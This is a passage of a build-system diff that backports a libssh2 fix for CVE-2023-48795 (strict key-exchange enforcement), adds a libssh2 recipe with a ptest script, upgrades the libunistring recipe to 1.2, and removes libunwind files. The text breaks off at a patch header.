+Fixes #1290
+Closes #1291
+
+CVE: CVE-2023-48795
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+---
+ src/kex.c | 63 +++++++++++++++++++++++------------
+ src/libssh2_priv.h | 18 +++++++---
+ src/packet.c | 83 +++++++++++++++++++++++++++++++++++++++++++---
+ src/packet.h | 2 +-
+ src/session.c | 3 ++
+ src/transport.c | 12 ++++++-
+ 6 files changed, 149 insertions(+), 32 deletions(-)
+
+diff --git a/src/kex.c b/src/kex.c
+index d4034a0a..b4b748ca 100644
+--- a/src/kex.c
++++ b/src/kex.c
+@@ -3037,6 +3037,13 @@ kex_method_extension_negotiation = {
+ 0,
+ };
+
++static const LIBSSH2_KEX_METHOD
++kex_method_strict_client_extension = {
++ "kex-strict-c-v00@openssh.com",
++ NULL,
++ 0,
++};
++
+ static const LIBSSH2_KEX_METHOD *libssh2_kex_methods[] = {
+ #if LIBSSH2_ED25519
+ &kex_method_ssh_curve25519_sha256,
+@@ -3055,6 +3062,7 @@ static const LIBSSH2_KEX_METHOD *libssh2_kex_methods[] = {
+ &kex_method_diffie_helman_group1_sha1,
+ &kex_method_diffie_helman_group_exchange_sha1,
+ &kex_method_extension_negotiation,
++ &kex_method_strict_client_extension,
+ NULL
+ };
+
+@@ -3307,13 +3315,13 @@ static int kexinit(LIBSSH2_SESSION * session)
+ return 0;
+ }
+
+-/* kex_agree_instr
++/* _libssh2_kex_agree_instr
+ * Kex specific variant of strstr()
+ * Needle must be preceded by BOL or ',', and followed by ',' or EOL
+ */
+-static unsigned char *
+-kex_agree_instr(unsigned char *haystack, size_t haystack_len,
+- const unsigned char *needle, size_t needle_len)
++unsigned char *
++_libssh2_kex_agree_instr(unsigned char *haystack, size_t haystack_len,
++ const unsigned char *needle, size_t needle_len)
+ {
+ unsigned char *s;
+ unsigned char *end_haystack;
+@@ -3398,7 +3406,7 @@ static int kex_agree_hostkey(LIBSSH2_SESSION * session,
+ while(s && *s) {
+ unsigned char *p = (unsigned char *) strchr((char *) s, ',');
+ size_t method_len = (p ? (size_t)(p - s) : strlen((char *) s));
+- if(kex_agree_instr(hostkey, hostkey_len, s, method_len)) {
++ if(_libssh2_kex_agree_instr(hostkey, hostkey_len, s, method_len)) {
+ const LIBSSH2_HOSTKEY_METHOD *method =
+ (const LIBSSH2_HOSTKEY_METHOD *)
+ kex_get_method_by_name((char *) s, method_len,
+@@ -3432,9 +3440,9 @@ static int kex_agree_hostkey(LIBSSH2_SESSION * session,
+ }
+
+ while(hostkeyp && (*hostkeyp) && (*hostkeyp)->name) {
+- s = kex_agree_instr(hostkey, hostkey_len,
+- (unsigned char *) (*hostkeyp)->name,
+- strlen((*hostkeyp)->name));
++ s = _libssh2_kex_agree_instr(hostkey, hostkey_len,
++ (unsigned char *) (*hostkeyp)->name,
++ strlen((*hostkeyp)->name));
+ if(s) {
+ /* So far so good, but does it suit our purposes? (Encrypting vs
+ Signing) */
+@@ -3468,6 +3476,12 @@ static int kex_agree_kex_hostkey(LIBSSH2_SESSION * session, unsigned char *kex,
+ {
+ const LIBSSH2_KEX_METHOD **kexp = libssh2_kex_methods;
+ unsigned char *s;
++ const unsigned char *strict =
++ (unsigned char *)"kex-strict-s-v00@openssh.com";
++
++ if(_libssh2_kex_agree_instr(kex, kex_len, strict, 28)) {
++ session->kex_strict = 1;
++ }
+
+ if(session->kex_prefs) {
+ s = (unsigned char *) session->kex_prefs;
+@@ -3475,7 +3489,7 @@ static int kex_agree_kex_hostkey(LIBSSH2_SESSION * session, unsigned char *kex,
+ while(s && *s) {
+ unsigned char *q, *p = (unsigned char *) strchr((char *) s, ',');
+ size_t method_len = (p ? (size_t)(p - s) : strlen((char *) s));
+- q = kex_agree_instr(kex, kex_len, s, method_len);
++ q = _libssh2_kex_agree_instr(kex, kex_len, s, method_len);
+ if(q) {
+ const LIBSSH2_KEX_METHOD *method = (const LIBSSH2_KEX_METHOD *)
+ kex_get_method_by_name((char *) s, method_len,
+@@ -3509,9 +3523,9 @@ static int kex_agree_kex_hostkey(LIBSSH2_SESSION * session, unsigned char *kex,
+ }
+
+ while(*kexp && (*kexp)->name) {
+- s = kex_agree_instr(kex, kex_len,
+- (unsigned char *) (*kexp)->name,
+- strlen((*kexp)->name));
++ s = _libssh2_kex_agree_instr(kex, kex_len,
++ (unsigned char *) (*kexp)->name,
++ strlen((*kexp)->name));
+ if(s) {
+ /* We've agreed on a key exchange method,
+ * Can we agree on a hostkey that works with this kex?
+@@ -3555,7 +3569,7 @@ static int kex_agree_crypt(LIBSSH2_SESSION * session,
+ unsigned char *p = (unsigned char *) strchr((char *) s, ',');
+ size_t method_len = (p ? (size_t)(p - s) : strlen((char *) s));
+
+- if(kex_agree_instr(crypt, crypt_len, s, method_len)) {
++ if(_libssh2_kex_agree_instr(crypt, crypt_len, s, method_len)) {
+ const LIBSSH2_CRYPT_METHOD *method =
+ (const LIBSSH2_CRYPT_METHOD *)
+ kex_get_method_by_name((char *) s, method_len,
+@@ -3577,9 +3591,9 @@ static int kex_agree_crypt(LIBSSH2_SESSION * session,
+ }
+
+ while(*cryptp && (*cryptp)->name) {
+- s = kex_agree_instr(crypt, crypt_len,
+- (unsigned char *) (*cryptp)->name,
+- strlen((*cryptp)->name));
++ s = _libssh2_kex_agree_instr(crypt, crypt_len,
++ (unsigned char *) (*cryptp)->name,
++ strlen((*cryptp)->name));
+ if(s) {
+ endpoint->crypt = *cryptp;
+ return 0;
+@@ -3619,7 +3633,7 @@ static int kex_agree_mac(LIBSSH2_SESSION * session,
+ unsigned char *p = (unsigned char *) strchr((char *) s, ',');
+ size_t method_len = (p ? (size_t)(p - s) : strlen((char *) s));
+
+- if(kex_agree_instr(mac, mac_len, s, method_len)) {
++ if(_libssh2_kex_agree_instr(mac, mac_len, s, method_len)) {
+ const LIBSSH2_MAC_METHOD *method = (const LIBSSH2_MAC_METHOD *)
+ kex_get_method_by_name((char *) s, method_len,
+ (const LIBSSH2_COMMON_METHOD **)
+@@ -3640,8 +3654,9 @@ static int kex_agree_mac(LIBSSH2_SESSION * session,
+ }
+
+ while(*macp && (*macp)->name) {
+- s = kex_agree_instr(mac, mac_len, (unsigned char *) (*macp)->name,
+- strlen((*macp)->name));
++ s = _libssh2_kex_agree_instr(mac, mac_len,
++ (unsigned char *) (*macp)->name,
++ strlen((*macp)->name));
+ if(s) {
+ endpoint->mac = *macp;
+ return 0;
+@@ -3672,7 +3687,7 @@ static int kex_agree_comp(LIBSSH2_SESSION *session,
+ unsigned char *p = (unsigned char *) strchr((char *) s, ',');
+ size_t method_len = (p ? (size_t)(p - s) : strlen((char *) s));
+
+- if(kex_agree_instr(comp, comp_len, s, method_len)) {
++ if(_libssh2_kex_agree_instr(comp, comp_len, s, method_len)) {
+ const LIBSSH2_COMP_METHOD *method =
+ (const LIBSSH2_COMP_METHOD *)
+ kex_get_method_by_name((char *) s, method_len,
+@@ -3694,8 +3709,9 @@ static int kex_agree_comp(LIBSSH2_SESSION *session,
+ }
+
+ while(*compp && (*compp)->name) {
+- s = kex_agree_instr(comp, comp_len, (unsigned char *) (*compp)->name,
+- strlen((*compp)->name));
++ s = _libssh2_kex_agree_instr(comp, comp_len,
++ (unsigned char *) (*compp)->name,
++ strlen((*compp)->name));
+ if(s) {
+ endpoint->comp = *compp;
+ return 0;
+@@ -3876,6 +3892,7 @@ _libssh2_kex_exchange(LIBSSH2_SESSION * session, int reexchange,
+ session->local.kexinit = key_state->oldlocal;
+ session->local.kexinit_len = key_state->oldlocal_len;
+ key_state->state = libssh2_NB_state_idle;
++ session->state &= ~LIBSSH2_STATE_INITIAL_KEX;
+ session->state &= ~LIBSSH2_STATE_KEX_ACTIVE;
+ session->state &= ~LIBSSH2_STATE_EXCHANGING_KEYS;
+ return -1;
+@@ -3901,6 +3918,7 @@ _libssh2_kex_exchange(LIBSSH2_SESSION * session, int reexchange,
+ session->local.kexinit = key_state->oldlocal;
+ session->local.kexinit_len = key_state->oldlocal_len;
+ key_state->state = libssh2_NB_state_idle;
++ session->state &= ~LIBSSH2_STATE_INITIAL_KEX;
+ session->state &= ~LIBSSH2_STATE_KEX_ACTIVE;
+ session->state &= ~LIBSSH2_STATE_EXCHANGING_KEYS;
+ return -1;
+@@ -3949,6 +3967,7 @@ _libssh2_kex_exchange(LIBSSH2_SESSION * session, int reexchange,
+ session->remote.kexinit = NULL;
+ }
+
++ session->state &= ~LIBSSH2_STATE_INITIAL_KEX;
+ session->state &= ~LIBSSH2_STATE_KEX_ACTIVE;
+ session->state &= ~LIBSSH2_STATE_EXCHANGING_KEYS;
+
+diff --git a/src/libssh2_priv.h b/src/libssh2_priv.h
+index 82c3afe2..ee1d8b5c 100644
+--- a/src/libssh2_priv.h
++++ b/src/libssh2_priv.h
+@@ -699,6 +699,9 @@ struct _LIBSSH2_SESSION
+ /* key signing algorithm preferences -- NULL yields server order */
+ char *sign_algo_prefs;
+
++ /* Whether to use the OpenSSH Strict KEX extension */
++ int kex_strict;
++
+ /* (remote as source of data -- packet_read ) */
+ libssh2_endpoint_data remote;
+
+@@ -870,6 +873,7 @@ struct _LIBSSH2_SESSION
+ int fullpacket_macstate;
+ size_t fullpacket_payload_len;
+ int fullpacket_packet_type;
++ uint32_t fullpacket_required_type;
+
+ /* State variables used in libssh2_sftp_init() */
+ libssh2_nonblocking_states sftpInit_state;
+@@ -910,10 +914,11 @@ struct _LIBSSH2_SESSION
+ };
+
+ /* session.state bits */
+-#define LIBSSH2_STATE_EXCHANGING_KEYS 0x00000001
+-#define LIBSSH2_STATE_NEWKEYS 0x00000002
+-#define LIBSSH2_STATE_AUTHENTICATED 0x00000004
+-#define LIBSSH2_STATE_KEX_ACTIVE 0x00000008
++#define LIBSSH2_STATE_INITIAL_KEX 0x00000001
++#define LIBSSH2_STATE_EXCHANGING_KEYS 0x00000002
++#define LIBSSH2_STATE_NEWKEYS 0x00000004
++#define LIBSSH2_STATE_AUTHENTICATED 0x00000008
++#define LIBSSH2_STATE_KEX_ACTIVE 0x00000010
+
+ /* session.flag helpers */
+ #ifdef MSG_NOSIGNAL
+@@ -1144,6 +1149,11 @@ ssize_t _libssh2_send(libssh2_socket_t socket, const void *buffer,
+ int _libssh2_kex_exchange(LIBSSH2_SESSION * session, int reexchange,
+ key_exchange_state_t * state);
+
++unsigned char *_libssh2_kex_agree_instr(unsigned char *haystack,
++ size_t haystack_len,
++ const unsigned char *needle,
++ size_t needle_len);
++
+ /* Let crypt.c/hostkey.c expose their method structs */
+ const LIBSSH2_CRYPT_METHOD **libssh2_crypt_methods(void);
+ const LIBSSH2_HOSTKEY_METHOD **libssh2_hostkey_methods(void);
+diff --git a/src/packet.c b/src/packet.c
+index b5b41981..35d4d39e 100644
+--- a/src/packet.c
++++ b/src/packet.c
+@@ -605,14 +605,13 @@ authagent_exit:
+ * layer when it has received a packet.
+ *
+ * The input pointer 'data' is pointing to allocated data that this function
+- * is asked to deal with so on failure OR success, it must be freed fine.
+- * The only exception is when the return code is LIBSSH2_ERROR_EAGAIN.
++ * will be freed unless return the code is LIBSSH2_ERROR_EAGAIN.
+ *
+ * This function will always be called with 'datalen' greater than zero.
+ */
+ int
+ _libssh2_packet_add(LIBSSH2_SESSION * session, unsigned char *data,
+- size_t datalen, int macstate)
++ size_t datalen, int macstate, uint32_t seq)
+ {
+ int rc = 0;
+ unsigned char *message = NULL;
+@@ -657,6 +656,70 @@ _libssh2_packet_add(LIBSSH2_SESSION * session, unsigned char *data,
+ break;
+ }
+
++ if(session->state & LIBSSH2_STATE_INITIAL_KEX) {
++ if(msg == SSH_MSG_KEXINIT) {
++ if(!session->kex_strict) {
++ if(datalen < 17) {
++ LIBSSH2_FREE(session, data);
++ session->packAdd_state = libssh2_NB_state_idle;
++ return _libssh2_error(session,
++ LIBSSH2_ERROR_BUFFER_TOO_SMALL,
++ "Data too short extracting kex");
++ }
++ else {
++ const unsigned char *strict =
++ (unsigned char *)"kex-strict-s-v00@openssh.com";
++ struct string_buf buf;
++ unsigned char *algs = NULL;
++ size_t algs_len = 0;
++
++ buf.data = (unsigned char *)data;
++ buf.dataptr = buf.data;
++ buf.len = datalen;
++ buf.dataptr += 17; /* advance past type and cookie */
++
++ if(_libssh2_get_string(&buf, &algs, &algs_len)) {
++ LIBSSH2_FREE(session, data);
++ session->packAdd_state = libssh2_NB_state_idle;
++ return _libssh2_error(session,
++ LIBSSH2_ERROR_BUFFER_TOO_SMALL,
++ "Algs too short");
++ }
++
++ if(algs_len == 0 ||
++ _libssh2_kex_agree_instr(algs, algs_len, strict, 28)) {
++ session->kex_strict = 1;
++ }
++ }
++ }
++
++ if(session->kex_strict && seq) {
++ LIBSSH2_FREE(session, data);
++ session->socket_state = LIBSSH2_SOCKET_DISCONNECTED;
++ session->packAdd_state = libssh2_NB_state_idle;
++ libssh2_session_disconnect(session, "strict KEX violation: "
++ "KEXINIT was not the first packet");
++
++ return _libssh2_error(session, LIBSSH2_ERROR_SOCKET_DISCONNECT,
++ "strict KEX violation: "
++ "KEXINIT was not the first packet");
++ }
++ }
++
++ if(session->kex_strict && session->fullpacket_required_type &&
++ session->fullpacket_required_type != msg) {
++ LIBSSH2_FREE(session, data);
++ session->socket_state = LIBSSH2_SOCKET_DISCONNECTED;
++ session->packAdd_state = libssh2_NB_state_idle;
++ libssh2_session_disconnect(session, "strict KEX violation: "
++ "unexpected packet type");
++
++ return _libssh2_error(session, LIBSSH2_ERROR_SOCKET_DISCONNECT,
++ "strict KEX violation: "
++ "unexpected packet type");
++ }
++ }
++
+ if(session->packAdd_state == libssh2_NB_state_allocated) {
+ /* A couple exceptions to the packet adding rule: */
+ switch(msg) {
+@@ -1341,6 +1404,15 @@ _libssh2_packet_ask(LIBSSH2_SESSION * session, unsigned char packet_type,
+
+ return 0;
+ }
++ else if(session->kex_strict &&
++ (session->state & LIBSSH2_STATE_INITIAL_KEX)) {
++ libssh2_session_disconnect(session, "strict KEX violation: "
++ "unexpected packet type");
++
++ return _libssh2_error(session, LIBSSH2_ERROR_SOCKET_DISCONNECT,
++ "strict KEX violation: "
++ "unexpected packet type");
++ }
+ packet = _libssh2_list_next(&packet->node);
+ }
+ return -1;
+@@ -1402,7 +1474,10 @@ _libssh2_packet_require(LIBSSH2_SESSION * session, unsigned char packet_type,
+ }
+
+ while(session->socket_state == LIBSSH2_SOCKET_CONNECTED) {
+- int ret = _libssh2_transport_read(session);
++ int ret;
++ session->fullpacket_required_type = packet_type;
++ ret = _libssh2_transport_read(session);
++ session->fullpacket_required_type = 0;
+ if(ret == LIBSSH2_ERROR_EAGAIN)
+ return ret;
+ else if(ret < 0) {
+diff --git a/src/packet.h b/src/packet.h
+index 79018bcf..6ea100a5 100644
+--- a/src/packet.h
++++ b/src/packet.h
+@@ -71,6 +71,6 @@ int _libssh2_packet_burn(LIBSSH2_SESSION * session,
+ int _libssh2_packet_write(LIBSSH2_SESSION * session, unsigned char *data,
+ unsigned long data_len);
+ int _libssh2_packet_add(LIBSSH2_SESSION * session, unsigned char *data,
+- size_t datalen, int macstate);
++ size_t datalen, int macstate, uint32_t seq);
+
+ #endif /* __LIBSSH2_PACKET_H */
+diff --git a/src/session.c b/src/session.c
+index a4d602ba..f4bafb57 100644
+--- a/src/session.c
++++ b/src/session.c
+@@ -464,6 +464,8 @@ libssh2_session_init_ex(LIBSSH2_ALLOC_FUNC((*my_alloc)),
+ session->abstract = abstract;
+ session->api_timeout = 0; /* timeout-free API by default */
+ session->api_block_mode = 1; /* blocking API by default */
++ session->state = LIBSSH2_STATE_INITIAL_KEX;
++ session->fullpacket_required_type = 0;
+ session->packet_read_timeout = LIBSSH2_DEFAULT_READ_TIMEOUT;
+ session->flag.quote_paths = 1; /* default behavior is to quote paths
+ for the scp subsystem */
+@@ -1186,6 +1188,7 @@ libssh2_session_disconnect_ex(LIBSSH2_SESSION *session, int reason,
+ const char *desc, const char *lang)
+ {
+ int rc;
++ session->state &= ~LIBSSH2_STATE_INITIAL_KEX;
+ session->state &= ~LIBSSH2_STATE_EXCHANGING_KEYS;
+ BLOCK_ADJUST(rc, session,
+ session_disconnect(session, reason, desc, lang));
+diff --git a/src/transport.c b/src/transport.c
+index 6d902d33..3b30ff84 100644
+--- a/src/transport.c
++++ b/src/transport.c
+@@ -187,6 +187,7 @@ fullpacket(LIBSSH2_SESSION * session, int encrypted /* 1 or 0 */ )
+ struct transportpacket *p = &session->packet;
+ int rc;
+ int compressed;
++ uint32_t seq = session->remote.seqno;
+
+ if(session->fullpacket_state == libssh2_NB_state_idle) {
+ session->fullpacket_macstate = LIBSSH2_MAC_CONFIRMED;
+@@ -318,7 +319,7 @@ fullpacket(LIBSSH2_SESSION * session, int encrypted /* 1 or 0 */ )
+ if(session->fullpacket_state == libssh2_NB_state_created) {
+ rc = _libssh2_packet_add(session, p->payload,
+ session->fullpacket_payload_len,
+- session->fullpacket_macstate);
++ session->fullpacket_macstate, seq);
+ if(rc == LIBSSH2_ERROR_EAGAIN)
+ return rc;
+ if(rc) {
+@@ -329,6 +330,11 @@ fullpacket(LIBSSH2_SESSION * session, int encrypted /* 1 or 0 */ )
+
+ session->fullpacket_state = libssh2_NB_state_idle;
+
++ if(session->kex_strict &&
++ session->fullpacket_packet_type == SSH_MSG_NEWKEYS) {
++ session->remote.seqno = 0;
++ }
++
+ return session->fullpacket_packet_type;
+ }
+
+@@ -1091,6 +1097,10 @@ int _libssh2_transport_send(LIBSSH2_SESSION *session,
+
+ session->local.seqno++;
+
++ if(session->kex_strict && data[0] == SSH_MSG_NEWKEYS) {
++ session->local.seqno = 0;
++ }
++
+ ret = LIBSSH2_SEND(session, p->outbuf, total_length,
+ LIBSSH2_SOCKET_SEND_FLAGS(session));
+ if(ret < 0)
+--
+2.34.1
+
diff --git a/meta/recipes-support/libssh2/libssh2/run-ptest b/meta/recipes-support/libssh2/libssh2/run-ptest
new file mode 100644
index 0000000000..0f5526e316
--- /dev/null
+++ b/meta/recipes-support/libssh2/libssh2/run-ptest
@@ -0,0 +1,8 @@
+#!/bin/sh
+
+ptestdir=$(dirname "$(readlink -f "$0")")
+cd tests
+for test in mansyntax.sh test_simple test_sshd.test
+do
+ ./../test-driver --test-name $test --log-file ../$test.log --trs-file ../$test.trs --color-tests no --enable-hard-errors yes --expect-failure no -- ./$test
+done
diff --git a/meta/recipes-support/libssh2/libssh2_1.11.0.bb b/meta/recipes-support/libssh2/libssh2_1.11.0.bb
new file mode 100644
index 0000000000..5100e6f7f9
--- /dev/null
+++ b/meta/recipes-support/libssh2/libssh2_1.11.0.bb
@@ -0,0 +1,53 @@
+SUMMARY = "A client-side C library implementing the SSH2 protocol"
+HOMEPAGE = "http://www.libssh2.org/"
+SECTION = "libs"
+
+DEPENDS = "zlib"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=24a33237426720395ebb1dd1349ca225"
+
+SRC_URI = "http://www.libssh2.org/download/${BP}.tar.gz \
+ file://run-ptest \
+ file://CVE-2023-48795.patch \
+ "
+
+SRC_URI[sha256sum] = "3736161e41e2693324deb38c26cfdc3efe6209d634ba4258db1cecff6a5ad461"
+
+inherit autotools pkgconfig ptest
+
+EXTRA_OECONF += "\
+ --with-libz \
+ --with-libz-prefix=${STAGING_LIBDIR} \
+ --disable-rpath \
+ "
+DISABLE_STATIC = ""
+
+# only one of openssl and gcrypt could be set
+PACKAGECONFIG ??= "openssl"
+PACKAGECONFIG[openssl] = "--with-crypto=openssl --with-libssl-prefix=${STAGING_LIBDIR}, , openssl"
+PACKAGECONFIG[gcrypt] = "--with-crypto=libgcrypt --with-libgcrypt-prefix=${STAGING_EXECPREFIXDIR}, , libgcrypt"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# required for ptest on documentation
+RDEPENDS:${PN}-ptest = "bash man-db openssh util-linux-col"
+RDEPENDS:${PN}-ptest:append:libc-glibc = " locale-base-en-us"
+
+do_compile_ptest() {
+ sed -i "/\$(MAKE) \$(AM_MAKEFLAGS) check-TESTS/d" tests/Makefile
+ oe_runmake check
+}
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ install -m 0755 ${S}/test-driver ${D}${PTEST_PATH}/
+ cp -rf ${B}/tests/.libs/* ${D}${PTEST_PATH}/tests/
+ cp -rf ${B}/tests/test_simple ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/mansyntax.sh ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/key* ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/openssh_server/ ${D}${PTEST_PATH}/tests/
+ cp -rf ${S}/tests/*.test ${D}${PTEST_PATH}/tests/
+ mkdir -p ${D}${PTEST_PATH}/docs
+ cp -r ${S}/docs/* ${D}${PTEST_PATH}/docs/
+}
diff --git a/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 2aeacb868e..0000000000
--- a/meta/recipes-support/libunistring/libunistring/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-Index: libunistring-0.9.4/lib/Makefile.gnulib
-===================================================================
---- libunistring-0.9.4.orig/lib/Makefile.gnulib
-+++ libunistring-0.9.4/lib/Makefile.gnulib
-@@ -380,7 +380,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
diff --git a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch b/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
deleted file mode 100644
index 9e8ce2270d..0000000000
--- a/meta/recipes-support/libunistring/libunistring/iconv-m4-remove-the-test-to-convert-euc-jp.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From 30562065ba9e4c238e76100b5f9f0c5add0e635b Mon Sep 17 00:00:00 2001
-From: Jackie Huang <jackie.huang@windriver.com>
-Date: Tue, 5 Dec 2017 09:30:36 +0200
-Subject: [PATCH] remove the test to convert euc-jp
-
-Remove the test "Test against HP-UX 11.11 bug:
-No converter from EUC-JP to UTF-8 is provided"
-since we don't support HP-UX and if the euc-jp is not
-installed on the host, libunistring will be built without
-iconv support and will cause guild-native configure fail.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Jackie Huang <jackie.huang@windriver.com>
----
----
- gnulib-m4/iconv.m4 | 23 -----------------------
- 1 file changed, 23 deletions(-)
-
-diff --git a/gnulib-m4/iconv.m4 b/gnulib-m4/iconv.m4
-index b33ecd0..73b6aa1 100644
---- a/gnulib-m4/iconv.m4
-+++ b/gnulib-m4/iconv.m4
-@@ -165,29 +165,6 @@ AC_DEFUN([AM_ICONV_LINK],
- }
- }
- #endif
-- /* Test against HP-UX 11.11 bug: No converter from EUC-JP to UTF-8 is
-- provided. */
-- {
-- /* Try standardized names. */
-- iconv_t cd1 = iconv_open ("UTF-8", "EUC-JP");
-- /* Try IRIX, OSF/1 names. */
-- iconv_t cd2 = iconv_open ("UTF-8", "eucJP");
-- /* Try AIX names. */
-- iconv_t cd3 = iconv_open ("UTF-8", "IBM-eucJP");
-- /* Try HP-UX names. */
-- iconv_t cd4 = iconv_open ("utf8", "eucJP");
-- if (cd1 == (iconv_t)(-1) && cd2 == (iconv_t)(-1)
-- && cd3 == (iconv_t)(-1) && cd4 == (iconv_t)(-1))
-- result |= 16;
-- if (cd1 != (iconv_t)(-1))
-- iconv_close (cd1);
-- if (cd2 != (iconv_t)(-1))
-- iconv_close (cd2);
-- if (cd3 != (iconv_t)(-1))
-- iconv_close (cd3);
-- if (cd4 != (iconv_t)(-1))
-- iconv_close (cd4);
-- }
- return result;
- ]])],
- [am_cv_func_iconv_works=yes], ,
---
-2.4.0
-
diff --git a/meta/recipes-support/libunistring/libunistring_0.9.10.bb b/meta/recipes-support/libunistring/libunistring_0.9.10.bb
deleted file mode 100644
index 97fac4ecfa..0000000000
--- a/meta/recipes-support/libunistring/libunistring_0.9.10.bb
+++ /dev/null
@@ -1,30 +0,0 @@
-SUMMARY = "Library for manipulating C and Unicode strings"
-
-DESCRIPTION = "Text files are nowadays usually encoded in Unicode, and may\
- consist of very different scripts from Latin letters to Chinese Hanzi\
- with many kinds of special characters accents, right-to-left writing\
- marks, hyphens, Roman numbers, and much more. But the POSIX platform\
- APIs for text do not contain adequate functions for dealing with\
- particular properties of many Unicode characters. In fact, the POSIX\
- APIs for text have several assumptions at their base which don't hold\
- for Unicode text. This library provides functions for manipulating\
- Unicode strings and for manipulating C strings according to the Unicode\
- standard. This package contains documentation."
-
-HOMEPAGE = "http://www.gnu.org/software/libunistring/"
-SECTION = "devel"
-LICENSE = "LGPLv3+ | GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
- file://README;beginline=45;endline=65;md5=08287d16ba8d839faed8d2dc14d7d6a5 \
- file://doc/libunistring.texi;md5=287fa6075f78a3c85c1a52b0a92547cd \
- "
-
-SRC_URI = "${GNU_MIRROR}/libunistring/libunistring-${PV}.tar.gz \
- file://iconv-m4-remove-the-test-to-convert-euc-jp.patch \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
-"
-SRC_URI[md5sum] = "0d3274e9838396b12200f8b54ddaf43b"
-SRC_URI[sha256sum] = "a82e5b333339a88ea4608e4635479a1cfb2e01aafb925e1290b65710d43f610b"
-
-inherit autotools texinfo
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libunistring/libunistring_1.2.bb b/meta/recipes-support/libunistring/libunistring_1.2.bb
new file mode 100644
index 0000000000..3018dbfdfb
--- /dev/null
+++ b/meta/recipes-support/libunistring/libunistring_1.2.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Library for manipulating C and Unicode strings"
+
+DESCRIPTION = "Text files are nowadays usually encoded in Unicode, and may\
+ consist of very different scripts from Latin letters to Chinese Hanzi\
+ with many kinds of special characters accents, right-to-left writing\
+ marks, hyphens, Roman numbers, and much more. But the POSIX platform\
+ APIs for text do not contain adequate functions for dealing with\
+ particular properties of many Unicode characters. In fact, the POSIX\
+ APIs for text have several assumptions at their base which don't hold\
+ for Unicode text. This library provides functions for manipulating\
+ Unicode strings and for manipulating C strings according to the Unicode\
+ standard. This package contains documentation."
+
+HOMEPAGE = "http://www.gnu.org/software/libunistring/"
+SECTION = "devel"
+LICENSE = "LGPL-3.0-or-later | GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://README;beginline=45;endline=65;md5=3a896a943b4da2c551e6be1af27eff8d \
+ file://doc/libunistring.texi;md5=36b7d20daef7fbcc032333ae2429aa94 \
+ "
+DEPENDS = "gperf-native"
+
+SRC_URI = "${GNU_MIRROR}/libunistring/libunistring-${PV}.tar.gz"
+SRC_URI[sha256sum] = "fd6d5662fa706487c48349a758b57bc149ce94ec6c30624ec9fdc473ceabbc8e"
+
+inherit autotools texinfo
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libunwind/libunwind.inc b/meta/recipes-support/libunwind/libunwind.inc
deleted file mode 100644
index 76a1bf6246..0000000000
--- a/meta/recipes-support/libunwind/libunwind.inc
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Library for obtaining the call-chain of a program"
-DESCRIPTION = "a portable and efficient C programming interface (API) to determine the call-chain of a program"
-HOMEPAGE = "http://www.nongnu.org/libunwind"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=2d80c8ed4062b8339b715f90fa68cc9f"
-DEPENDS += "libatomic-ops"
-
-inherit autotools multilib_header
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[lzma] = "--enable-minidebuginfo,--disable-minidebuginfo,xz"
-PACKAGECONFIG[latexdocs] = "--enable-documentation, --disable-documentation, latex2man-native"
-
-EXTRA_OECONF_arm = "--enable-debug-frame"
-EXTRA_OECONF_armeb = "--enable-debug-frame"
-EXTRA_OECONF_aarch64 = "--enable-debug-frame"
-
-do_install_append () {
- oe_multilib_header libunwind.h
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch b/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
deleted file mode 100644
index 437b878365..0000000000
--- a/meta/recipes-support/libunwind/libunwind/0001-Add-AO_REQUIRE_CAS-to-fix-build-on-ARM-v6.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 599f10ac3a24e419a93f97fddbe14de01b1185ea Mon Sep 17 00:00:00 2001
